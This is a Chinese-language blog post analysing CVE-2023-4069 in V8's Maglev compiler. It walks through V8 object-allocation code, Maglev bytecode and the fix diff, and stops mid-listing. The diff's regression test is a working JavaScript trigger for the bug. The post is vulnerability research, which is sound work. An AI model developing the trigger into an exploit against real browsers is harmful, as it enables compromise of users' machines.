CVE-2023-4069:Maglev图建立阶段的一个漏洞

怎么有懒狗发完看雪就不想发博客

目录

环境搭建

1
2
3
git checkout 5315f073233429c5f5c2c794594499debda307bd
gclient sync -D
python3 tools\dev\gm.py x64.release

信息搜集

issue链接:https://issues.chromium.org/issues/40067530

https://chromium-review.googlesource.com/c/v8/v8/+/4694007

revision commit hash : https://chromium.googlesource.com/v8/v8/+/ed93bef7ab786d5367c2ae7882922c23aa0eda64

diff链接:

https://chromium.googlesource.com/v8/v8/+/ed93bef7ab786d5367c2ae7882922c23aa0eda64%5E%21/

前置知识

Reflect.construct()

函数原型

1
Reflect.construct(target, argumentsList[, newTarget])

参数

  • target:被运行的目标构造函数
  • argumentsList:类数组,目标构造函数调用时的参数。
  • newTarget可选:作为新创建对象的原型对象的constructor属性,参考new.target操作符,默认值为target

使用实例

1
2
3
4
5
6
7
8
9
10
11
function OneClass() {
this.name = "one";
}
function OtherClass() {
this.name = "other";
}
// 创建一个对象:
var obj1 = Reflect.construct(OneClass, args, OtherClass);
console.log(obj1.name); // 'one'
console.log(obj1 instanceof OneClass); // false
console.log(obj1 instanceof OtherClass); // true

Builtin中的实现

FastNewObject的实现代码,位于src/builtins/builtins-constructor-gen.cc

首先获取上下文环境,其中包括target和new_target,接着定义一个call_runtime的label,如果快速路径分配失败,则会通过这个label跳转到慢速路径进行对象分配。

调用FastNewObject进入快速路径,如果快速路径分配失败,则会跳转到BIND(&call_runtime),然后执行Runtime::kNewObject,进入慢速路径的分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler) {
auto context = Parameter<Context>(Descriptor::kContext);
auto target = Parameter<JSFunction>(Descriptor::kTarget);
auto new_target = Parameter<JSReceiver>(Descriptor::kNewTarget);

Label call_runtime(this);

TNode<JSObject> result =
FastNewObject(context, target, new_target, &call_runtime);
Return(result);

BIND(&call_runtime);
TailCallRuntime(Runtime::kNewObject, context, target, new_target);
}

对于慢速路径的runtime函数可以在vscode里全局搜索RUNTIME_FUNCTION(Runtime_xxxxx,这里的xxxxx代表函数名,上方的kNewObject,那么就用这里的函数名应该是NewObject,所以就可以搜索RUNTIME_FUNCTION(Runtime_NewObject)

快速路径的分配流程

这里是全部完整的代码,位于src/builtins/builtins-constructor-gen.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(
TNode<Context> context, TNode<JSFunction> target,
TNode<JSReceiver> new_target, Label* call_runtime) {
// Verify that the new target is a JSFunction.
Label end(this);
TNode<JSFunction> new_target_func =
HeapObjectToJSFunctionWithPrototypeSlot(new_target, call_runtime);
// Fast path.

// Load the initial map and verify that it's in fact a map.
TNode<Object> initial_map_or_proto =
LoadJSFunctionPrototypeOrInitialMap(new_target_func);
GotoIf(TaggedIsSmi(initial_map_or_proto), call_runtime);
GotoIf(DoesntHaveInstanceType(CAST(initial_map_or_proto), MAP_TYPE),
call_runtime);
TNode<Map> initial_map = CAST(initial_map_or_proto);

// Fall back to runtime if the target differs from the new target's
// initial map constructor.
TNode<Object> new_target_constructor = LoadObjectField(
initial_map, Map::kConstructorOrBackPointerOrNativeContextOffset);
GotoIf(TaggedNotEqual(target, new_target_constructor), call_runtime);

TVARIABLE(HeapObject, properties);

Label instantiate_map(this), allocate_properties(this);
GotoIf(IsDictionaryMap(initial_map), &allocate_properties);
{
properties = EmptyFixedArrayConstant();
Goto(&instantiate_map);
}
BIND(&allocate_properties);
{
if (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
properties =
AllocateSwissNameDictionary(SwissNameDictionary::kInitialCapacity);
} else {
properties = AllocateNameDictionary(NameDictionary::kInitialCapacity);
}
Goto(&instantiate_map);
}

BIND(&instantiate_map);
return AllocateJSObjectFromMap(initial_map, properties.value(), base::nullopt,
AllocationFlag::kNone, kWithSlackTracking);
}

分开看,首先判断new_target_func是不是JSFunction,不是就进入call_runtime的逻辑,和前面定义的Label call_runtime(this)对应上了,这里对应的是慢速路径

1
2
3
4
5
6
7
TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(
TNode<Context> context, TNode<JSFunction> target,
TNode<JSReceiver> new_target, Label* call_runtime) {
// Verify that the new target is a JSFunction.
Label end(this);
TNode<JSFunction> new_target_func =
HeapObjectToJSFunctionWithPrototypeSlot(new_target, call_runtime);

接着先获取new_target的inital map,然后判断new_target_func的initial_map是否是smi,因为如果是map类型,那么必然不会是smi,所以如果是smi,就会进入call_runtime的逻辑,然后将initial_map_or_proto转换为HeapObject判断是否为map类型,如果不是,那么就进入call_runtime的逻辑,这里验证的这个initial map是否真的存在

GotoIf(TaggedIsSmi(initial_map_or_proto), call_runtime) 等价于if( TaggedIsSmi(initial_map_or_proto) ){call_runtime}
简化一下就是GotoIf(A,B);{C};等价于if(A){B}else{C};

1
2
3
4
5
6
7
// Load the initial map and verify that it's in fact a map.
TNode<Object> initial_map_or_proto =
LoadJSFunctionPrototypeOrInitialMap(new_target_func);
GotoIf(TaggedIsSmi(initial_map_or_proto), call_runtime);
GotoIf(DoesntHaveInstanceType(CAST(initial_map_or_proto), MAP_TYPE),
call_runtime);
TNode<Map> initial_map = CAST(initial_map_or_proto);

从initial map上load constructor,然后判断new_target的constructor和target是否一致

TVARIABLE(HeapObject, properties),这里的T代表Turbofan ,后面VARIABLE表示变量声明,类型是HeapObject,变量名称是properties

1
2
3
4
5
// Fall back to runtime if the target differs from the new target's
// initial map constructor.
TNode<Object> new_target_constructor = LoadObjectField(
initial_map, Map::kConstructorOrBackPointerOrNativeContextOffset);
GotoIf(TaggedNotEqual(target, new_target_constructor), call_runtime);

下面的逻辑会根据map的不同类型进行跳转

如果map的类型是DictionaryMap,那么会直接跳转到BIND(&allocate_properties),然后V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL编译选项是否开启,为properties采用不同的内存分配,接着会跳转到BIND(&instantiate_map),为map进行内存分配

如果map的类型不是DictionaryMap,那么会直接为properties分配,接着跳转到BIND(&instantiate_map)处,为map进行内存分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  TVARIABLE(HeapObject, properties);

Label instantiate_map(this), allocate_properties(this);
GotoIf(IsDictionaryMap(initial_map), &allocate_properties);
{
properties = EmptyFixedArrayConstant();
Goto(&instantiate_map);
}
BIND(&allocate_properties);
{
if (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
properties =
AllocateSwissNameDictionary(SwissNameDictionary::kInitialCapacity);
} else {
properties = AllocateNameDictionary(NameDictionary::kInitialCapacity);
}
Goto(&instantiate_map);
}

BIND(&instantiate_map);
return AllocateJSObjectFromMap(initial_map, properties.value(), base::nullopt,
AllocationFlag::kNone, kWithSlackTracking);
}

下面总结一下,成功进行快速对象分配的条件是

  • new_target的类型是JSFunction
  • new_target_func的initial map真实存在
  • target和new_target_constructor相同
  • map的类型为DictionaryMap时
    • V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL开启时
      • properties采用AllocateSwissNameDictionary分配
    • V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL关闭时
      • properties采用AllocateNameDictionary分配
  • map的类型不为DictionaryMap时
    • properties 采用 EmptyFixedArrayConstant分配
  • map都是使用AllocateJSObjectFromMap

慢速路径的分配流程

当快速路径分配失败的时候,会通过Label call_runtime(this)跳转到BIND(&call_runtime),也就是执行这个语句TailCallRuntime(Runtime::kNewObject, context, target, new_target);

Runtime::kNewObject 是一个枚举值,定义在 src/runtime/runtime.h 中。这个枚举值对应的是 Runtime_NewObject 函数,定义在 src/runtime/runtime-object.cc 中。

这个函数的流程比较简单,获取当前的隔离实例,检查参数个数,获取target和new_target,最后将参数传递并调用JSObject::New

1
2
3
4
5
6
7
8
9
RUNTIME_FUNCTION(Runtime_NewObject) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
Handle<JSFunction> target = args.at<JSFunction>(0);
Handle<JSReceiver> new_target = args.at<JSReceiver>(1);
RETURN_RESULT_OR_FAILURE(
isolate,
JSObject::New(target, new_target, Handle<AllocationSite>::null()));
}

JSObject::New() 的源码位于src/objects/js-objects.cc,函数体开始的注释是对于new_target的所有可能性的说明,接着是一些DCHECK,可以看到target被命名成了constructor,new_target还是没有变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// static
MaybeHandle<JSObject> JSObject::New(Handle<JSFunction> constructor,
Handle<JSReceiver> new_target,
Handle<AllocationSite> site) {
// If called through new, new.target can be:
// - a subclass of constructor,
// - a proxy wrapper around constructor, or
// - the constructor itself.
// If called through Reflect.construct, it's guaranteed to be a constructor.
Isolate* const isolate = constructor->GetIsolate();
DCHECK(constructor->IsConstructor());
DCHECK(new_target->IsConstructor());
DCHECK(!constructor->has_initial_map() ||
!InstanceTypeChecker::IsJSFunction(
constructor->initial_map().instance_type()));

调用JSFunction::GetDerivedMap来获取initial_map,然后根据V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL编译选项设置initial_capacity,最后调用NewFastOrSlowJSObjectFromMap分配对象,同时设置分配类型是kYoung,意味着可以被gc回收

1
2
3
4
5
6
7
8
9
10
11
12
13

Handle<Map> initial_map;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, initial_map,
JSFunction::GetDerivedMap(isolate, constructor, new_target), JSObject);
constexpr int initial_capacity = V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL
? SwissNameDictionary::kInitialCapacity
: NameDictionary::kInitialCapacity;
Handle<JSObject> result = isolate->factory()->NewFastOrSlowJSObjectFromMap(
initial_map, initial_capacity, AllocationType::kYoung, site);
return result;
}

接着来看一下JSFunction::GetDerivedMap的实现,位于src>objects>js-function.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// static
MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,
Handle<JSFunction> constructor,
Handle<JSReceiver> new_target) {
EnsureHasInitialMap(constructor);

Handle<Map> constructor_initial_map(constructor->initial_map(), isolate);
if (*new_target == *constructor) return constructor_initial_map;

Handle<Map> result_map;
// Fast case, new.target is a subclass of constructor. The map is cacheable
// (and may already have been cached). new.target.prototype is guaranteed to
// be a JSReceiver.
if (new_target->IsJSFunction()) {
Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
if (FastInitializeDerivedMap(isolate, function, constructor,
constructor_initial_map)) {
return handle(function->initial_map(), isolate);
}
}

// Slow path, new.target is either a proxy or can't cache the map.
// new.target.prototype is not guaranteed to be a JSReceiver, and may need to
// fall back to the intrinsicDefaultProto.
Handle<Object> prototype;
if (new_target->IsJSFunction()) {
Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
if (function->has_prototype_slot()) {
// Make sure the new.target.prototype is cached.
EnsureHasInitialMap(function);
prototype = handle(function->prototype(), isolate);
} else {
// No prototype property, use the intrinsict default proto further down.
prototype = isolate->factory()->undefined_value();
}
} else {
Handle<String> prototype_string = isolate->factory()->prototype_string();
ASSIGN_RETURN_ON_EXCEPTION(
isolate, prototype,
JSReceiver::GetProperty(isolate, new_target, prototype_string), Map);
// The above prototype lookup might change the constructor and its
// prototype, hence we have to reload the initial map.
EnsureHasInitialMap(constructor);
constructor_initial_map = handle(constructor->initial_map(), isolate);
}

// If prototype is not a JSReceiver, fetch the intrinsicDefaultProto from the
// correct realm. Rather than directly fetching the .prototype, we fetch the
// constructor that points to the .prototype. This relies on
// constructor.prototype being FROZEN for those constructors.
if (!prototype->IsJSReceiver()) {
Handle<Context> context;
ASSIGN_RETURN_ON_EXCEPTION(isolate, context,
JSReceiver::GetFunctionRealm(new_target), Map);
DCHECK(context->IsNativeContext());
Handle<Object> maybe_index = JSReceiver::GetDataProperty(
isolate, constructor,
isolate->factory()->native_context_index_symbol());
int index = maybe_index->IsSmi() ? Smi::ToInt(*maybe_index)
: Context::OBJECT_FUNCTION_INDEX;
Handle<JSFunction> realm_constructor(JSFunction::cast(context->get(index)),
isolate);
prototype = handle(realm_constructor->prototype(), isolate);
}

Handle<Map> map = Map::CopyInitialMap(isolate, constructor_initial_map);
map->set_new_target_is_base(false);
CHECK(prototype->IsJSReceiver());
if (map->prototype() != *prototype)
Map::SetPrototype(isolate, map, Handle<HeapObject>::cast(prototype));
map->SetConstructor(*constructor);
return map;
}

首先检查一下constructor的initial map是否存在,接着获取constructor的initial map,判断如果new_target和constructor一样,那么就直接返回constructor_initial_map,这里对应了直接new object的情况,也是最常用的情况

1
2
3
4
5
6
7
8
// static
MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,
Handle<JSFunction> constructor,
Handle<JSReceiver> new_target) {
EnsureHasInitialMap(constructor);

Handle<Map> constructor_initial_map(constructor->initial_map(), isolate);
if (*new_target == *constructor) return constructor_initial_map;

这里是说只有当满足三个条件的时候,才会进入的逻辑,分别是new.target为JSFunction、new.target为constructor的子类 、map可缓存时。接着确保new.target存在initial map(没有的话会尝试分配),然后直接就返回new.target的initial map

1
2
3
4
5
6
7
8
9
10
11
Handle<Map> result_map;
// Fast case, new.target is a subclass of constructor. The map is cacheable
// (and may already have been cached). new.target.prototype is guaranteed to
// be a JSReceiver.
if (new_target->IsJSFunction()) {
Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
if (FastInitializeDerivedMap(isolate, function, constructor,
constructor_initial_map)) {
return handle(function->initial_map(), isolate);
}
}

看一下FastInitializeDerivedMap的实现,位于src>objects>js-function.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
bool FastInitializeDerivedMap(Isolate* isolate, Handle<JSFunction> new_target,
Handle<JSFunction> constructor,
Handle<Map> constructor_initial_map) {
// Use the default intrinsic prototype instead.
if (!new_target->has_prototype_slot()) return false;
// Check that |function|'s initial map still in sync with the |constructor|,
// otherwise we must create a new initial map for |function|.
if (new_target->has_initial_map() &&
new_target->initial_map().GetConstructor() == *constructor) {
DCHECK(new_target->instance_prototype().IsJSReceiver());
return true;
}
InstanceType instance_type = constructor_initial_map->instance_type();
DCHECK(CanSubclassHaveInobjectProperties(instance_type));
// Create a new map with the size and number of in-object properties
// suggested by |function|.

// Link initial map and constructor function if the new.target is actually a
// subclass constructor.
if (!IsDerivedConstructor(new_target->shared().kind())) return false;

int instance_size;
int in_object_properties;
int embedder_fields =
JSObject::GetEmbedderFieldCount(*constructor_initial_map);
// Constructor expects certain number of in-object properties to be in the
// object. However, CalculateExpectedNofProperties() may return smaller value
// if 1) the constructor is not in the prototype chain of new_target, or
// 2) the prototype chain is modified during iteration, or 3) compilation
// failure occur during prototype chain iteration.
// So we take the maximum of two values.
int expected_nof_properties = std::max(
static_cast<int>(constructor->shared().expected_nof_properties()),
JSFunction::CalculateExpectedNofProperties(isolate, new_target));
JSFunction::CalculateInstanceSizeHelper(
instance_type, constructor_initial_map->has_prototype_slot(),
embedder_fields, expected_nof_properties, &instance_size,
&in_object_properties);

int pre_allocated = constructor_initial_map->GetInObjectProperties() -
constructor_initial_map->UnusedPropertyFields();
CHECK_LE(constructor_initial_map->UsedInstanceSize(), instance_size);
int unused_property_fields = in_object_properties - pre_allocated;
Handle<Map> map =
Map::CopyInitialMap(isolate, constructor_initial_map, instance_size,
in_object_properties, unused_property_fields);
map->set_new_target_is_base(false);
Handle<HeapObject> prototype(new_target->instance_prototype(), isolate);
JSFunction::SetInitialMap(isolate, new_target, map, prototype, constructor);
DCHECK(new_target->instance_prototype().IsJSReceiver());
map->set_construction_counter(Map::kNoSlackTracking);
map->StartInobjectSlackTracking();
return true;
}

这里先check了new_target是否有prototype,也就是在原本的JSCFuntcion的基础上继续判断

接着如果new_target存在initial map,并且对应的构造函数和target一致,那么就直接返回true,进行快速对象的分配

这里快速对象分配还遵守着target和new_target的constructor得一致

1
2
3
4
5
6
7
8
9
10
11
12
bool FastInitializeDerivedMap(Isolate* isolate, Handle<JSFunction> new_target,
Handle<JSFunction> constructor,
Handle<Map> constructor_initial_map) {
// Use the default intrinsic prototype instead.
if (!new_target->has_prototype_slot()) return false;
// Check that |function|'s initial map still in sync with the |constructor|,
// otherwise we must create a new initial map for |function|.
if (new_target->has_initial_map() &&
new_target->initial_map().GetConstructor() == *constructor) {
DCHECK(new_target->instance_prototype().IsJSReceiver());
return true;
}

其实漏洞时出现在快速对象分配的,下面的与慢速分配相关,所以笔者就不接着分析了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Slow path, new.target is either a proxy or can't cache the map.
// new.target.prototype is not guaranteed to be a JSReceiver, and may need to
// fall back to the intrinsicDefaultProto.
Handle<Object> prototype;
if (new_target->IsJSFunction()) {
Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
if (function->has_prototype_slot()) {
// Make sure the new.target.prototype is cached.
EnsureHasInitialMap(function);
prototype = handle(function->prototype(), isolate);
} else {
// No prototype property, use the intrinsict default proto further down.
prototype = isolate->factory()->undefined_value();
}
} else {
Handle<String> prototype_string = isolate->factory()->prototype_string();
ASSIGN_RETURN_ON_EXCEPTION(
isolate, prototype,
JSReceiver::GetProperty(isolate, new_target, prototype_string), Map);
// The above prototype lookup might change the constructor and its
// prototype, hence we have to reload the initial map.
EnsureHasInitialMap(constructor);
constructor_initial_map = handle(constructor->initial_map(), isolate);
}

Maglev的简单介绍

demo

1
2
3
4
5
6
7
8
9
10
function f0(a1){
const v5 = new Array(7);
for (let v6 = 0; v6 < 25; v6++) {
v5["p" + v6] = v6;
}
}

f0(f0());
%OptimizeMaglevOnNextCall(f0);
f0(f0());

./d8 --allow-natives-syntax --maglev --print-maglev-graphs ./DebugMaglev.js 执行这个命令,会有下面的输出,从Bytecode age: 0到Constant pool (size = 2)之间,是这一段demo生成的字节码

大致解释下,见注释。简单的说明是最左侧是存放字节码的地址,右侧@后面的数字是相对于这一段字节码的偏移地址,: 后面的是内存里的字节码,然后最后是指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0x363c0019adf2 @    0 : 21 00 00          LdaGlobal [0], [0]  ;load global “Array”,从下面的常量池取出来
0x363c0019adf5 @ 3 : c3 Star2 ;将值 store 到 r2
0x363c0019adf6 @ 4 : 0d 07 LdaSmi [7] ;将smi 7 load 到 累加器中
0x363c0019adf8 @ 6 : c2 Star3 ;将累加器中的值 store 到 r3
0x363c0019adf9 @ 7 : 0b f8 Ldar r2 ;将r2的值 load 到累加器中
0x363c0019adfb @ 9 : 69 f8 f7 01 02 Construct r2, r3-r3, [2];r2是Array r3是7 => new Array(7)
0x363c0019ae00 @ 14 : c5 Star0 ;值存到r0
0x363c0019ae01 @ 15 : 0c LdaZero ;0存到累加器
0x363c0019ae02 @ 16 : c4 Star1 ;累加器的值存到r1
0x363c0019ae03 @ 17 : 0d 19 LdaSmi [25] ;smi 25存到 累加器
0x363c0019ae05 @ 19 : 6d f9 04 TestLessThan r1, [4] ;比较r1和smi 4,对应的是for循环的判断
0x363c0019ae08 @ 22 : 9a 1a JumpIfFalse [26] (0x363c0019ae22 @ 48);如果返回值为false 则跳转到偏移为48的地方,对应后方的LdaUndefined指令
0x363c0019ae0a @ 24 : 13 01 LdaConstant [1] ;常量池[1],也就是p,load到累加器
0x363c0019ae0c @ 26 : c2 Star3 ;再存到r3
0x363c0019ae0d @ 27 : 0b f9 Ldar r1 ;r1存到累加器
0x363c0019ae0f @ 29 : 38 f7 05 Add r3, [5] ;r3+smi[5],对应"p" + v6
0x363c0019ae12 @ 32 : c2 Star3 ;值存到r3
0x363c0019ae13 @ 33 : 0b f9 Ldar r1 ;r1存到累加器
0x363c0019ae15 @ 35 : 34 fa f7 06 SetKeyedProperty r0, r3, [6];r0是上面创建的Array,然后r3是设置的val,索引赋值为smi[6]
0x363c0019ae19 @ 39 : 0b f9 Ldar r1 ;r1存到累加器
0x363c0019ae1b @ 41 : 50 08 Inc [8] ;r1+8,也就是v6++
0x363c0019ae1d @ 43 : c4 Star1 ;累加器的值存到r1
0x363c0019ae1e @ 44 : 8a 1b 00 09 JumpLoop [27], [0], [9] (0x363c0019ae03 @ 17);跳转到偏移为17的地方,也就是这个指令的位置LdaSmi [25]
0x363c0019ae22 @ 48 : 0e LdaUndefined
0x363c0019ae23 @ 49 : aa Return

也就是说下面的r0是new出来的array,然后索引是r3,r3通过常量池中的p赋值的到,在循环体中每次+smi[5],r1作为index,每次执行自加的操作,直到大于等于25跳出循环

对于后续更详细的流程,可以去看这个23年p4nda师傅在bh eu上的slide

漏洞分析

查看下issue对应的diff,完整的diff内容如下,主要是在/src/maglev/maglev-graph-builder.cc下的修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index d5f6128..2c5227e 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5347,6 +5347,14 @@
StoreRegister(iterator_.GetRegisterOperand(0), map_proto);
}

+bool MaglevGraphBuilder::HasValidInitialMap(
+ compiler::JSFunctionRef new_target, compiler::JSFunctionRef constructor) {
+ if (!new_target.map(broker()).has_prototype_slot()) return false;
+ if (!new_target.has_initial_map(broker())) return false;
+ compiler::MapRef initial_map = new_target.initial_map(broker());
+ return initial_map.GetConstructor(broker()).equals(constructor);
+}
+
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);
@@ -5380,7 +5388,9 @@
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
ValueNode* object;
- if (new_target_function && new_target_function->IsJSFunction()) {
+ if (new_target_function && new_target_function->IsJSFunction() &&
+ HasValidInitialMap(new_target_function->AsJSFunction(),
+ current_function)) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(),
broker()),
diff --git a/src/maglev/maglev-graph-builder.h b/src/maglev/maglev-graph-builder.h
index 0abb4a8..d92354c 100644
--- a/src/maglev/maglev-graph-builder.h
+++ b/src/maglev/maglev-graph-builder.h
@@ -1884,6 +1884,9 @@
void MergeDeadLoopIntoFrameState(int target);
void MergeIntoInlinedReturnFrameState(BasicBlock* block);

+ bool HasValidInitialMap(compiler::JSFunctionRef new_target,
+ compiler::JSFunctionRef constructor);
+
enum JumpType { kJumpIfTrue, kJumpIfFalse };
enum class BranchSpecializationMode { kDefault, kAlwaysBoolean };
JumpType NegateJumpType(JumpType jump_type);
diff --git a/test/mjsunit/maglev/regress/regress-crbug-1465326.js b/test/mjsunit/maglev/regress/regress-crbug-1465326.js
new file mode 100644
index 0000000..6e01c1e
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-crbug-1465326.js
@@ -0,0 +1,25 @@
+// Copyright 2023 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --maglev --allow-natives-syntax
+
+class A {}
+
+var x = Function;
+
+class B extends A {
+ constructor() {
+ x = new.target;
+ super();
+ }
+}
+function construct() {
+ return Reflect.construct(B, [], Function);
+}
+%PrepareFunctionForOptimization(B);
+construct();
+construct();
+%OptimizeMaglevOnNextCall(B);
+var arr = construct();
+console.log(arr.prototype);

分析之前需要熟悉一下这个函数MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct(),从这个函数名不难看出,这个流程发生在Maglev的图建立阶段,用于处理派生类非默认构造函数的访问

这里需要配合一个说明的代码,看一下这个函数的触发流程

1
2
3
4
5
6
7
8
9
10
11
class Base {
constructor() { }
}

class Derived extends Base {
constructor() {
super(); // 当执行到这里时
}
}

Reflect.construct(Derived, [], Base);

对于上面的代码,有两个类,分别是Base和Derived,Derived继承了Base。然后调用Reflect.construct创建了Derived对象

使用如下参数./d8 --allow-natives-syntax --maglev --print-bytecode ./poc.js执行这个脚本,会有这样的输出,重点看一下Derived函数

0x3f5c0019b0c1调用了FindNonDefaultConstructorOrConstruct 这个函数,后续将一些寄存器赋值之后,有一个JumpIfTrue 的判断,接着就是正常的返回操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[generated bytecode for function: Derived (0x3f5c0019ac6d <SharedFunctionInfo Derived>)]
Bytecode length: 39
Parameter count 1
Register count 7
Frame size 56
Bytecode age: 0
0x3f5c0019b0be @ 0 : 19 fe f9 Mov <closure>, r1
0x3f5c0019b0c1 @ 3 : 5a f9 fa f5 FindNonDefaultConstructorOrConstruct r1, r0, r5-r6
0x3f5c0019b0c5 @ 7 : 0b f5 Ldar r5
0x3f5c0019b0c7 @ 9 : 19 f9 f8 Mov r1, r2
0x3f5c0019b0ca @ 12 : 19 fa f6 Mov r0, r4
0x3f5c0019b0cd @ 15 : 19 f4 f7 Mov r6, r3
0x3f5c0019b0d0 @ 18 : 99 0c JumpIfTrue [12] (0x3f5c0019b0dc @ 30)
0x3f5c0019b0d2 @ 20 : ae f7 ThrowIfNotSuperConstructor r3
0x3f5c0019b0d4 @ 22 : 0b f6 Ldar r4
0x3f5c0019b0d6 @ 24 : 69 f7 fa 00 00 Construct r3, r0-r0, [0]
0x3f5c0019b0db @ 29 : c2 Star3
0x3f5c0019b0dc @ 30 : 0b 02 Ldar <this>
0x3f5c0019b0de @ 32 : ad ThrowSuperAlreadyCalledIfNotHole
0x3f5c0019b0df @ 33 : 19 f7 02 Mov r3, <this>
0x3f5c0019b0e2 @ 36 : 0b 02 Ldar <this>
0x3f5c0019b0e4 @ 38 : aa Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 0)

接着通过上面的代码去分析VisitFindNonDefaultConstructorOrConstruct函数的源码

首先就是获取参数,this_function对应了Derived,new_target对应了Base,这里的register_pair是存储返回结果

1
2
3
4
5
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);

auto register_pair = iterator_.GetRegisterPairOperand(2);

接着获取this_function的ref,调用TryGetConstant方法,如果调用成功的话,那么就获取this_function的map的ref,这里获取的map是Derived函数(class 本质上还是一个函数)的map,接着获取Derived的原型对象

1
2
3
4
if (compiler::OptionalHeapObjectRef constant =
TryGetConstant(this_function)) {
compiler::MapRef function_map = constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());

下面是一个很大的循环,推动循环执行的是这个语句current = current_function.map(broker()).prototype(broker()),本质上是顺着Derived的map向上查找原型,也就是遍历原型链,接着可以继续看这个循环体的逻辑

首先这里会去判断当前前遍历到的 prototype 对象是不是 JSFunction,接着获取这个function的ref,然后如果当前构造函数有实例字段(或类似需要初始化的成员),就不能跳过这个requires_instance_members_initializer构造函数,必须执行它的初始化逻辑,最后判断当前 class是否 有 private 字段或方法,不存在则会强制执行初始化逻辑

然后通过SFI(SharedFunctionInfo)去获取当前函数的类型,这里可以补充一下一些函数类型,下面就先解释下会用到的,全部的位于这里src/objects/function-kind.h文件里的FunctionKind枚举类里

  • kDefaultBaseConstructor
    • 默认的基类构造函数(class A {},没有自定义 constructor)
  • kDefaultDerivedConstructor
    • 默认的派生类构造函数(class B extends A {},没有自定义 constructor)

当获取到当前函数的类型之后,因为从Derived,所以这个判断kind == FunctionKind::kDefaultDerivedConstructor为true,先执行一个依赖保护,通常都是true。

但是这里我们修改了Derived的构造函数内容,所以这里会返回false,所以会进入else逻辑,但是因为也不是FunctionKind::kDefaultBaseConstructor类型,所以会接着会遍历到上层,会获取到Base的prototype,判断是否为JSFunction时会转化为基类的构造函数,类型对应的是kDefaultBaseConstructor。然后也是执行依赖保护,从function map开始到current_function,也就是Derived开始到base。使用TryGetConstant获取当前构造函数的ref。接着通过if的判断,判断new_target_func函数是否存在且类型是JSFunction,然后调用FastObject分配快速对象,接着调用BuildAllocateFastObject分配对象,类型是kYoung,可以被gc回收

如果说这里原型链没有遍历到基类,那么这里的类型就不会是kDefaultBaseConstructor,从而进入else的逻辑,这里会调用BuildCallBuiltin分配对象

当所有的遍历流程接触,会将结果load到寄存器,最后返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
  while (true) {
if (!current.IsJSFunction()) break;
compiler::JSFunctionRef current_function = current.AsJSFunction();
if (current_function.shared(broker())
.requires_instance_members_initializer()) {
break;
}
if (current_function.context(broker())
.scope_info(broker())
.ClassScopeHasPrivateBrand()) {
break;
}
FunctionKind kind = current_function.shared(broker()).kind();
if (kind == FunctionKind::kDefaultDerivedConstructor) {
if (!broker()->dependencies()->DependOnArrayIteratorProtector()) break;
} else {
broker()->dependencies()->DependOnStablePrototypeChain(
function_map, WhereToStart::kStartAtReceiver, current_function);

compiler::OptionalHeapObjectRef new_target_function =
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
ValueNode* object;
if (new_target_function && new_target_function->IsJSFunction()) {
object = BuildAllocateFastObject(
